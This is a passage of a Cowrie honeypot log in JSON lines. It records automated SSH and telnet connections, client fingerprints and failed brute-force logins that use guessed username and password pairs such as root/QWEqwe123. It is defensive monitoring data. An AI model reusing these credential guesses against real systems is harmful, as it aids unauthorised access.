{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:52.543008Z","src_ip":"45.156.87.253","session":"fd684589444e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":45100,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfbfb022d45d","protocol":"telnet","message":"New connection: 72.167.226.244:45100 (10.17.0.5:23) [session: dfbfb022d45d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:52.702307Z"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"1234","message":"login attempt [admin123/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:52.787836Z","src_ip":"45.156.87.253","session":"fd684589444e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":45110,"dst_ip":"10.17.0.5","dst_port":23,"session":"b86681bce5ae","protocol":"telnet","message":"New connection: 72.167.226.244:45110 (10.17.0.5:23) [session: b86681bce5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:53.448017Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:53.871550Z","src_ip":"45.156.87.253","session":"fd684589444e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57702,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a6499046c7","protocol":"ssh","message":"New connection: 45.156.87.253:57702 (10.17.0.5:22) [session: 54a6499046c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:55.760377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:55.763823Z","src_ip":"45.156.87.253","session":"54a6499046c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:55.845113Z","src_ip":"45.156.87.253","session":"54a6499046c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:56.089988Z","src_ip":"45.156.87.253","session":"54a6499046c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:57.176200Z","src_ip":"45.156.87.253","session":"54a6499046c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57706,"dst_ip":"10.17.0.5","dst_port":22,"session":"3043a286494e","protocol":"ssh","message":"New connection: 45.156.87.253:57706 (10.17.0.5:22) [session: 3043a286494e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:59.067719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:59.090148Z","src_ip":"45.156.87.253","session":"3043a286494e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:59.274668Z","src_ip":"45.156.87.253","session":"3043a286494e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:59.573202Z","src_ip":"45.156.87.253","session":"3043a286494e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:00.656423Z","src_ip":"45.156.87.253","session":"3043a286494e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39872,"dst_ip":"10.17.0.5","dst_port":22,"session":"b55e5de1a9fa","protocol":"ssh","message":"New connection: 45.156.87.253:39872 (10.17.0.5:22) [session: b55e5de1a9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:02.611597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:02.615936Z","src_ip":"45.156.87.253","session":"b55e5de1a9fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:02.697572Z","src_ip":"45.156.87.253","session":"b55e5de1a9fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:02.943995Z","src_ip":"45.156.87.253","session":"b55e5de1a9fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:04.027823Z","src_ip":"45.156.87.253","session":"b55e5de1a9fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39886,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ca3f3d9f16","protocol":"ssh","message":"New connection: 45.156.87.253:39886 (10.17.0.5:22) [session: 57ca3f3d9f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:05.891894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:05.895700Z","src_ip":"45.156.87.253","session":"57ca3f3d9f16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:05.976179Z","src_ip":"45.156.87.253","session":"57ca3f3d9f16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:06.220363Z","src_ip":"45.156.87.253","session":"57ca3f3d9f16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:07.358638Z","src_ip":"45.156.87.253","session":"57ca3f3d9f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58408,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fe94722649d","protocol":"ssh","message":"New connection: 45.156.87.253:58408 (10.17.0.5:22) [session: 7fe94722649d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:09.238771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:09.242371Z","src_ip":"45.156.87.253","session":"7fe94722649d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:09.323704Z","src_ip":"45.156.87.253","session":"7fe94722649d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:09.569913Z","src_ip":"45.156.87.253","session":"7fe94722649d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:10.652949Z","src_ip":"45.156.87.253","session":"7fe94722649d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58426,"dst_ip":"10.17.0.5","dst_port":22,"session":"2266470899ed","protocol":"ssh","message":"New connection: 45.156.87.253:58426 (10.17.0.5:22) [session: 2266470899ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:12.584311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:12.588033Z","src_ip":"45.156.87.253","session":"2266470899ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:12.668321Z","src_ip":"45.156.87.253","session":"2266470899ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:12.913898Z","src_ip":"45.156.87.253","session":"2266470899ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:14.191059Z","src_ip":"45.156.87.253","session":"2266470899ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58448,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bd5c876c71e","protocol":"ssh","message":"New connection: 45.156.87.253:58448 (10.17.0.5:22) [session: 3bd5c876c71e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:15.906176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:15.910154Z","src_ip":"45.156.87.253","session":"3bd5c876c71e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:15.990202Z","src_ip":"45.156.87.253","session":"3bd5c876c71e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"user","message":"login attempt [username/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:16.230612Z","src_ip":"45.156.87.253","session":"3bd5c876c71e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:17.313240Z","src_ip":"45.156.87.253","session":"3bd5c876c71e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53482,"dst_ip":"10.17.0.5","dst_port":22,"session":"f181d99baf45","protocol":"ssh","message":"New connection: 45.156.87.253:53482 (10.17.0.5:22) [session: f181d99baf45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:19.372381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:19.376025Z","src_ip":"45.156.87.253","session":"f181d99baf45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa